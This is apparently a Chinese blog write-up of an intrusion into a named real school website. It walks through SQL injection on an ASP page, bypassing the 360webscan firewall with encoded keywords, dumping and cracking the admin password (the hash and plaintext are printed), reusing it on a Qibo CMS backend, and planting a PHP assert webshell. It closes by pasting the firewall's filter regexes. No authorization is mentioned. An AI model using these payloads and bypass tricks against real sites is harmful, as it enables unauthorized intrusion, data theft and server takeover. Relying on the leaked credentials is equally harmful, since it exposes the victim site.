注入点:http://www.scmyzx.com.cn/email/Email_Content.asp?id=113
一、注入
今天帮同学看一个页面是否能够注入。我在后面加and 1=1后结果被360webscan给拦截。
可以看出360webscan将注入相关的关键词给过滤了。看看between过滤没,发现没有过滤,通过between and判断出网站存在注入。
通过http://www.xxx.com.cn/email/Email_Content.asp?id=113 and 1 between 2 and 2和页面http://www.xxx.com.cn/email/Email_Content.asp?id=113 and 1 between 1 and 2的不同可以看出网站是存在注入的。现在要想通过注入获取数据,必须想办法绕过360webscan。下面是绕过360webscan获取数据的过程
(1)通过order by 来判断注入点列数
http://www.xxx.com.cn/email/Email_Content.asp?id=113 order by 21与http://www.xxx.com.cn/email/Email_Content.asp?id=113 order by 22页面不同,可以看出注入点有21列
(2)联合查询来获取数据
使用http://www.xxx.com.cn/email/Email_Content.asp?id=113 union select 1,2,3,4,5,6,7,8,9,10,11,12,11,14,15,16,17,18,19,20,21,明显的又被360给拦截了。
想起来aspx/asp独有的通过%来绕过防注入系统,试一下
http://www.xxx.com.cn/email/Email_Content.asp?id=113 unio%n %0asele%ct 1,2,3,4,5,6,7,8,9,10,11,12,11,14,15,16,17,18,19,20,21
结果还是不行。试试%0a行不,看来是可以绕过的。
既然绕过了,现在要做的就是试试哪些位置可以联合显示,并猜测表名,结果直接是admin
www.xxx.com.cn/email/Email_Content.asp?id=113 and %0a1=2 unio%n %0asele%ct 1,2,3,4,5,6,7,8,9,10,11,12,11,14,15,16,17,18,19,20,21 %0afrom admin
可以看到有好多可以显示的位置,现在猜测列名。经过猜测尝试,列名为adminusername和adminpassword。现在注入获取数据:
获取用户名:admin和口令:eaf1b6d4cb06b34f。破解后为:admin131415。
现在要做的就是找后台登陆获取webshell了。
找到两个后台:http://www.xxx.com.cn/email/manage/login_d.asp和http://www.xxx.com.cn/email/manage/login.asp,结果只有email/manage/login.asp可以登陆进去。
二、获取webshell
进入刚才的/email/manage/login.asp后台,结果发现后台功能很少,无法获取webshell。
看来得想另外的办法了,扫描发现另外的后台,尝试通过刚才的口令登陆,结果登陆进去了,看来是管理员太懒了,两个系统用的是同一套用户名和口令。
发现该后台是齐博CMS,后台获取webshell的过程如下:
(1)点击“系统功能”—-“单篇文章独立页面管理”
(2)点击“增加页面”
标题写webshell语句,静态网页名写webshell的名称,修改后保存。
(2)对添加的页面点击“生成静态”
现在就获取到webshell了,shell路径为:aaa.php?cool=@assert 口令为:pass
获取到webshell后,翻阅了一下,找到了360webscan.php文件。估计其中就是注入过滤规则了。贴出来以后研究下:
//get拦截规则 $getfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; //post拦截规则 $postfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; //cookie拦截规则 $cookiefilter = "\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; //获取指令 $webscan_action = isset($_POST['webscan_act'])&&webscan_cheack() ? trim($_POST['webscan_act']) : ''; //referer获取 $webscan_referer = empty($_SERVER['HTTP_REFERER']) ? array() : array('HTTP_REFERER'=>$_SERVER['HTTP_REFERER']);
参考资料:
2、四川省绵阳中学